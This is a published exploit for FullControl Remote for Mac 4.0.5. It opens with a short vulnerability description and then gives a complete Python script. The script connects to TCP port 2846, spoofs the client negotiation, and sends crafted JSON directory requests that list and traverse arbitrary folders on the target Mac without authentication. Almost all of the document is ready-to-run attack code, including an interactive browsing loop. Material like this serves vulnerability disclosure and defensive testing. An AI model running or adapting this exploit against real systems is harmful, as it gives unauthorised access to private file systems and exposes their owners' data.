📄 FullControl: Remote for Mac 4.0.5 Directory Traversal / Enumeration

# Exploit Title: FullControl: Remote for Mac 4.0.5 - Arbitrary Directory Traversal and Enumeration
    # Date: 1/08/2025
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://fullcontrol.cescobaz.com/
    # Software Link: https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890
    # Version: 4.0.5
    # Tested on: macOS 14.4 Sonoma
    
    
    '''
    Description:
    
    FullControl Remote for Mac v4.0.5 is vulnerable to an unauthenticated
    directory traversal flaw. An attacker can remotely enumerate and traverse
    arbitrary directories on the target system by sending crafted JSON requests
    to TCP port 2846. This vulnerability arises from insufficient input
    validation and improper path normalization, enabling unauthorized access to
    sensitive filesystem locations.
    
    '''
    
    
    import socket
    import json
    import time
    from urllib.parse import unquote
    
    HOST = '192.168.1.143'
    PORT = 2846
    
    NEGOTIATION_CMDS = [
        '<request type="info">accessibilityAPIEnabled</request>',
        '<request type="info">protocol</request>',
        '<request type="info">API_level</request>',
        '<request type="info">fc</request>',
        '<request type="info">os</request>',
        '<info subject="protocol">json2</info>',
        '<request type="info">version</request>',
        '<request type="info">fc</request>',
        '<request type="info">os</request>',
        '<request type="info">device</request>',
        '<info subject="app">FullControl</info>',
        '<info subject="version">4.2.0</info>',
        '<info subject="fc">4.2.0</info>',
        '<info subject="os">26.0</info>',
        '<info subject="device">Attacker</info>',
    ]
    
    def encode_slashes_in_json(s: str) -> str:
        return s.replace('/', '\\u002f')
    
    def recv_response(sock):
        try:
            sock.settimeout(2.0)
            data = sock.recv(8192)
            if not data:
                return None
            return data.decode(errors='ignore')
        except socket.timeout:
            return None
    
    def perform_negotiation(sock):
        print("[*] Starting negotiation...")
        for cmd in NEGOTIATION_CMDS:
           # print(f"[>] {cmd}")
            sock.sendall(cmd.encode())
            time.sleep(0.3)
            resp = recv_response(sock)
         #   if resp:
               # print(f"[<] {resp.strip()}")
    
    def request_directory(sock, path: str, id_num=21):
        request_obj = {
            "Class": "Request",
            "Id": id_num,
            "Type": "directory",
            "Text": path
        }
        j = json.dumps(request_obj, separators=(',', ':'))
        je = encode_slashes_in_json(j)
    
        sock.sendall(je.encode())
        time.sleep(1)
        resp = recv_response(sock)
        if not resp:
            print("[!] No response for directory request")
            return None
        return json.loads(resp)
    
    def navigate_loop(sock, start_path: str):
        current_path = start_path.rstrip('/')
        while True:
            print(f"\n[\U0001F4C1] Current path: {current_path}/")
            directory_listing = request_directory(sock, current_path + "//")
            if not directory_listing:
                break
    
            subdirs = []
            print("\n[+] Contents:")
            for e in directory_listing.get("Elements", []):
                kind = e.get("Class")
                name = e.get("Name")
                print(f" - {name} ({kind})")
                if kind == "Directory":
                    subdirs.append(name)
    
            user_input = input("\n[?] Enter directory to enter (.. to go back,
    q to quit): ").strip()
    
            if user_input in ('q', 'exit'):
                break
            elif user_input == '..':
                current_path =
    '/'.join(current_path.rstrip('/').split('/')[:-1])
                if current_path == '':
                    current_path = '/'
            elif user_input in subdirs:
                current_path += f"//{user_input}"
            else:
                print("[!] Invalid input or directory.")
    
    def main():
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((HOST, PORT))
            perform_negotiation(s)
    
    
            root_req = {"Class": "Request", "Id": 20, "Type": "directory",
    "Text": ""}
            jroot = json.dumps(root_req, separators=(',', ':'))
    
            s.sendall(jroot.encode())
    
            time.sleep(1)
            raw_root = recv_response(s)
            if not raw_root:
                print("[!] Failed to get base path")
                return
    
            parsed_root = json.loads(raw_root)
            base_path_raw = parsed_root.get("Path", "")
            base_path = unquote(base_path_raw).rstrip('/')
    
    
    
    
    
            navigate_loop(s, base_path)
    
    if __name__ == '__main__':
        main()